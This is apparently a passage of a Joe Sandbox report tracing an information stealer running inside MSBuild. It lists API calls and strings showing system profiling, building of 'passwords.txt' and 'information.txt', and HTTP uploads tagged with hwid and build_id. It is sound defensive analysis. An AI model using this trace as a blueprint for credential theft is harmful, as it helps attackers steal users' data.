Part of subcall function 00411807: VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411997: __EH_prolog3_catch.LIBCMT ref: 0041199E
Part of subcall function 00411997: CoInitializeEx.OLE32(00000000,00000000,00000030,00413F67,?,AV: ,004368C4,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 004119AD
Part of subcall function 00411997: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
Part of subcall function 00411997: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
Part of subcall function 00411997: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
Part of subcall function 00411997: VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: HeapAlloc.KERNEL32(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00411563: CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 00411575
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,00000008), ref: 00411580
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,0000000A), ref: 0041158B
Part of subcall function 00411563: ReleaseDC.USER32(00000000,00000000), ref: 00411596
Part of subcall function 00411563: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4), ref: 004115A2
Part of subcall function 00411563: HeapAlloc.KERNEL32(00000000,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 004115A9
Part of subcall function 00411563: wsprintfA.USER32 ref: 004115BB

Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000,0043670D,?,?), ref: 00410E0C
Part of subcall function 00410DDB: LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
Part of subcall function 00410DDB: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57
Part of subcall function 00410DDB: LocalFree.KERNEL32(00000000), ref: 00410EFF

Part of subcall function 00410D2E: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
Part of subcall function 00410D2E: HeapAlloc.KERNEL32(00000000), ref: 00410D50
Part of subcall function 00410D2E: GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
Part of subcall function 00410D2E: wsprintfA.USER32 ref: 00410D7D

Part of subcall function 00410F51: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C), ref: 00410F65
Part of subcall function 00410F51: HeapAlloc.KERNEL32(00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410F6C
Part of subcall function 00410F51: RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ), ref: 00410F8A
Part of subcall function 00410F51: RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000), ref: 00410FA6
Part of subcall function 00410F51: RegCloseKey.ADVAPI32(00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410FAF

Part of subcall function 00411007: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,?), ref: 0041107D
Part of subcall function 00411007: wsprintfA.USER32 ref: 004110DB

Part of subcall function 00410FBA: GetSystemInfo.KERNEL32(?), ref: 00410FD4
Part of subcall function 00410FBA: wsprintfA.USER32 ref: 00410FEC

Part of subcall function 00411119: GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 00411131
Part of subcall function 00411119: HeapAlloc.KERNEL32(00000000), ref: 00411138
Part of subcall function 00411119: GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
Part of subcall function 00411119: wsprintfA.USER32 ref: 0041117A

Part of subcall function 00411192: EnumDisplayDevicesA.USER32(00000000,00000000,?,00000001), ref: 004111E9

Part of subcall function 004114A5: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00436712,?,?), ref: 004114D4
Part of subcall function 004114A5: Process32First.KERNEL32(00000000,00000128), ref: 004114E4
Part of subcall function 004114A5: Process32Next.KERNEL32(00000000,00000128), ref: 00411542
Part of subcall function 004114A5: CloseHandle.KERNEL32(00000000), ref: 0041154D

Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670F,00000000,?,?), ref: 00411273
Part of subcall function 00411203: RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
Part of subcall function 00411203: wsprintfA.USER32 ref: 004112DD
Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
Part of subcall function 00411203: lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E8C), ref: 004113DC
Part of subcall function 00411203: RegCloseKey.ADVAPI32(?), ref: 00411446
Part of subcall function 00411203: RegCloseKey.ADVAPI32(?), ref: 00411472

lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000), ref: 00414563

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

Strings

Version: , xrefs: 00413B9F
[Software], xrefs: 004144A3
[Hardware], xrefs: 0041420D
GUID: , xrefs: 00413CE1
Cores: , xrefs: 0041428E
Display Resolution: , xrefs: 0041406F
Date: , xrefs: 00413C1F
Processor: , xrefs: 0041422D
Computer Name: , xrefs: 00413FAD
User Name: , xrefs: 0041400E
Threads: , xrefs: 004142EF
Install Date: , xrefs: 00413ED1
AV: , xrefs: 00413F3E
Work Dir: In memory, xrefs: 00413E30
information.txt, xrefs: 00414573
[Processes], xrefs: 0041442A
Local Time: , xrefs: 0041414B
Keyboard Languages: , xrefs: 004140DE
VideoCard: , xrefs: 004143B7
RAM: , xrefs: 00414350
Windows: , xrefs: 00413E70
HWID: , xrefs: 00413D4E
MachineID: , xrefs: 00413C80
Path: , xrefs: 00413DBB
TimeZone: , xrefs: 004141AC

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$wsprintf$Close$CreateOpen$InitializeQueryValuelstrcatlstrcpy$InformationLocalNamelstrlen$BlanketCapsCurrentDeviceEnumHandleInfoInitInstanceKeyboardLayoutListProcess32ProxySecurityTimeVariant_memset$CharComputerDevicesDirectoryDisplayFileFirstFreeGlobalH_prolog3_catchH_prolog3_catch_LocaleLogicalMemoryModuleNextObjectProcessorProfileReleaseSingleSnapshotStatusSystemThreadToolhelp32UserVolumeWaitWindowsZone
String ID: AV: $Computer Name: $Cores: $Date: $Display Resolution: $GUID: $HWID: $Install Date: $Keyboard Languages: $Local Time: $MachineID: $Path: $Processor: $RAM: $Threads: $TimeZone: $User Name: $Version: $VideoCard: $Windows: $Work Dir: In memory$[Hardware]$[Processes]$[Software]$information.txt
API String ID: 23247351-1014693891
Opcode ID: f64ee0c11fae36487782493274f9efd1e84ed8bfe200156934171c2eeedd498e
Instruction ID: b1850c6e61f6c62b6aa9a5b7029b0e637ac1f2022ec6fada49fc294c21208059
Opcode Fuzzy Hash: f64ee0c11fae36487782493274f9efd1e84ed8bfe200156934171c2eeedd498e
Instruction Fuzzy Hash: E7527E71D4001EAACF01FBA2DD429DDB7B5AF04308F51456BB510771A1DBB87E8E8B98

Function 004169B6 Relevance: 47.6, APIs: 10, Strings: 17, Instructions: 331
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 00410581

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 004168C6: StrCmpCA.SHLWAPI(?,ERROR), ref: 0041691A
Part of subcall function 004168C6: lstrlenA.KERNEL32(?), ref: 00416925
Part of subcall function 004168C6: StrStrA.SHLWAPI(00000000,?), ref: 0041693A
Part of subcall function 004168C6: lstrlenA.KERNEL32(?), ref: 00416949
Part of subcall function 004168C6: lstrlenA.KERNEL32(00000000), ref: 00416962

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416AA0
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416AF9
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416B59
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416BB2
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416C12
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416C6B
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416C81

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 0041683E: StrCmpCA.SHLWAPI(?,ERROR), ref: 00416873

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416CE1
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416D3A
Sleep.KERNEL32(0000EA60), ref: 00416D49

Strings

ERROR, xrefs: 00416C79
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416DC7
ERROR, xrefs: 00416A98
sqlp.dll, xrefs: 00416D7E
sql.dll, xrefs: 00416E48
xwA, xrefs: 00416E67
sqlp.dll, xrefs: 00416DE6
sqlp.dll, xrefs: 00416E17
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416D5F
ERROR, xrefs: 00416CD9
ERROR, xrefs: 00416AF1
ERROR, xrefs: 00416BAA
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416DF8
ERROR, xrefs: 00416D32
ERROR, xrefs: 00416C0A
ERROR, xrefs: 00416C63
ERROR, xrefs: 00416B51

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$sql.dll$sqlp.dll$sqlp.dll$sqlp.dll$xwA
API String ID: 507064821-2196559756
Opcode ID: 6acb66367bd626a802880b971752c409855805311b2b6436e12093a404613b2f
Instruction ID: 67ae3532ae32ee87843adf4823a2029588a02c04bd6d8d27a2e314fe47f406e5
Opcode Fuzzy Hash: 6acb66367bd626a802880b971752c409855805311b2b6436e12093a404613b2f
Instruction Fuzzy Hash: 2DC14C31E40118ABCF10FB66DD47ACC7775AF04308F51506BF815B7192DBB8AE898B99

Function 0040884C Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 405
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410795: StrCmpCA.SHLWAPI(?,?,?,00408863,?,?,?), ref: 0041079E

CopyFileA.KERNEL32(?,?,00000001), ref: 00408941

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 004122B0: _memset.LIBCMT ref: 004122D7
Part of subcall function 004122B0: OpenProcess.KERNEL32(00001001,00000000,?,00000000,?), ref: 0041237D
Part of subcall function 004122B0: TerminateProcess.KERNEL32(00000000,00000000), ref: 0041238B
Part of subcall function 004122B0: CloseHandle.KERNEL32(00000000), ref: 00412392

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408AA6
RtlAllocateHeap.NTDLL(00000000), ref: 00408AAD
StrCmpCA.SHLWAPI(?,ERROR_RUN_EXTRACTOR), ref: 00408B95
StrCmpCA.SHLWAPI(?,004371E8), ref: 00408BAB
StrCmpCA.SHLWAPI(?,004371EC), ref: 00408BD3
lstrlenA.KERNEL32(?), ref: 00408CF0
lstrlenA.KERNEL32(?), ref: 00408D0B

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

DeleteFileA.KERNEL32(?), ref: 00408D4E

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00408B8F

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Processlstrlen$FileHeaplstrcat$AllocateCloseCopyCreateDeleteHandleObjectOpenSingleTerminateThreadWait_memset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 2819533921-2709115261
Opcode ID: 4cf74dee808cf48f2e5a41cf2a526be25c32ce2d3aae6e5a91d0756399fd0c2b
Instruction ID: 4ed071eff3b317b22ab60df88982466dd35206364d1ada8e83d6b625ffadc5dd
Opcode Fuzzy Hash: 4cf74dee808cf48f2e5a41cf2a526be25c32ce2d3aae6e5a91d0756399fd0c2b
Instruction Fuzzy Hash: 1AE14F71A00209AFCF01FFA1ED4A9DD7B76AF04309F10502AF541B71A1DB796E958F98

Function 0040852E Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 230
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 004085D3
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408628
RtlAllocateHeap.NTDLL(00000000), ref: 0040862F
lstrlenA.KERNEL32(?), ref: 004086CB
lstrcatA.KERNEL32(?), ref: 004086E4
lstrcatA.KERNEL32(?,?), ref: 004086EE
lstrcatA.KERNEL32(?,0043719C), ref: 004086FA
lstrcatA.KERNEL32(?,?), ref: 00408704
lstrcatA.KERNEL32(?,004371A0), ref: 00408710
lstrcatA.KERNEL32(?), ref: 0040871D
lstrcatA.KERNEL32(?,?), ref: 00408727
lstrcatA.KERNEL32(?,004371A4), ref: 00408733
lstrcatA.KERNEL32(?), ref: 00408740
lstrcatA.KERNEL32(?,?), ref: 0040874A
lstrcatA.KERNEL32(?,004371A8), ref: 00408756
lstrcatA.KERNEL32(?), ref: 00408763
lstrcatA.KERNEL32(?,?), ref: 0040876D
lstrcatA.KERNEL32(?,004371AC), ref: 00408779
lstrcatA.KERNEL32(?,004371B0), ref: 00408785
lstrlenA.KERNEL32(?), ref: 004087BE
DeleteFileA.KERNEL32(?), ref: 0040880B

Strings

passwords.txt, xrefs: 004087CE

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID: passwords.txt
API String ID: 1956182324-347816968
Opcode ID: 17fcb621ec36d0c02431b614dd316cfc10a460330261f549eca3010ab7435fb1
Instruction ID: 020f7448ea6054a123c00f52db54e90bdcc83da43011bffc63cd09fdeebd54b9
Opcode Fuzzy Hash: 17fcb621ec36d0c02431b614dd316cfc10a460330261f549eca3010ab7435fb1
Instruction Fuzzy Hash: CB814032900208AFCF05FFA1EE4A9CD7B76BF08316F205066F501B31A1EB7A5E559B59

Function 00401666 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 129memoryfileCOMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00401696
wsprintfW.USER32 ref: 004016BC
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000100,00000000), ref: 004016E6
GetProcessHeap.KERNEL32(00000008,000FFFFF), ref: 004016FE
RtlAllocateHeap.NTDLL(00000000), ref: 00401705
_time64.MSVCRT ref: 0040170E
srand.MSVCRT ref: 00401715
rand.MSVCRT ref: 0040171E
_memset.LIBCMT ref: 0040172E
WriteFile.KERNEL32(?,00000000,000FFFFF,?,00000000), ref: 00401746
_memset.LIBCMT ref: 00401763
CloseHandle.KERNEL32(?), ref: 00401771
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,04000100,00000000), ref: 0040178D
ReadFile.KERNEL32(00000000,00000000,000FFFFF,?,00000000), ref: 004017A9
_memset.LIBCMT ref: 004017BE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004017C8
RtlFreeHeap.NTDLL(00000000), ref: 004017CF
CloseHandle.KERNEL32(?), ref: 004017DB

Strings

delays.tmp, xrefs: 004016A4
%s%s, xrefs: 004016B6

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FileHeap$_memset$CloseCreateHandleProcess$AllocateFreePathReadTempWrite_time64randsrandwsprintf
String ID: %s%s$delays.tmp
API String ID: 1620473967-1413376734
Opcode ID: 56d294bb2ba73ca560e94c27fbb18eff0efcde2227c6dc017a4ee35aecd0e56c
Instruction ID: 14fb239faf826fe262df77a964d215537439ea8fef978f806f0a574b414f50cd
Opcode Fuzzy Hash: 56d294bb2ba73ca560e94c27fbb18eff0efcde2227c6dc017a4ee35aecd0e56c
Instruction Fuzzy Hash: FC41C6B190021CABDB205F61AC4CF9F7B7DEB85715F1012BAF00AE11A1DA754E54CF28

Function 00404B2E Relevance: 33.6, APIs: 12, Strings: 7, Instructions: 378networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
StrCmpCA.SHLWAPI(?), ref: 00404BEB
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404D83
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00404DC7
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00404DF5

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

lstrlenA.KERNEL32(?,00436953,",build_id,004377C4,------,004377B8,",hwid,004377A4,------), ref: 004050EE
lstrlenA.KERNEL32(?,?,00000000), ref: 00405101
HttpSendRequestA.WININET(00000000,?,00000000), ref: 0040510F
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040516C
InternetCloseHandle.WININET(00000000), ref: 00405177
InternetCloseHandle.WININET(?), ref: 0040518E
InternetCloseHandle.WININET(?), ref: 0040519A

Strings

", xrefs: 00404ED9
------, xrefs: 00404C75
", xrefs: 00405039
------, xrefs: 00404DFB
------, xrefs: 00404F5B
build_id, xrefs: 0040500D
hwid, xrefs: 00404EAD

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

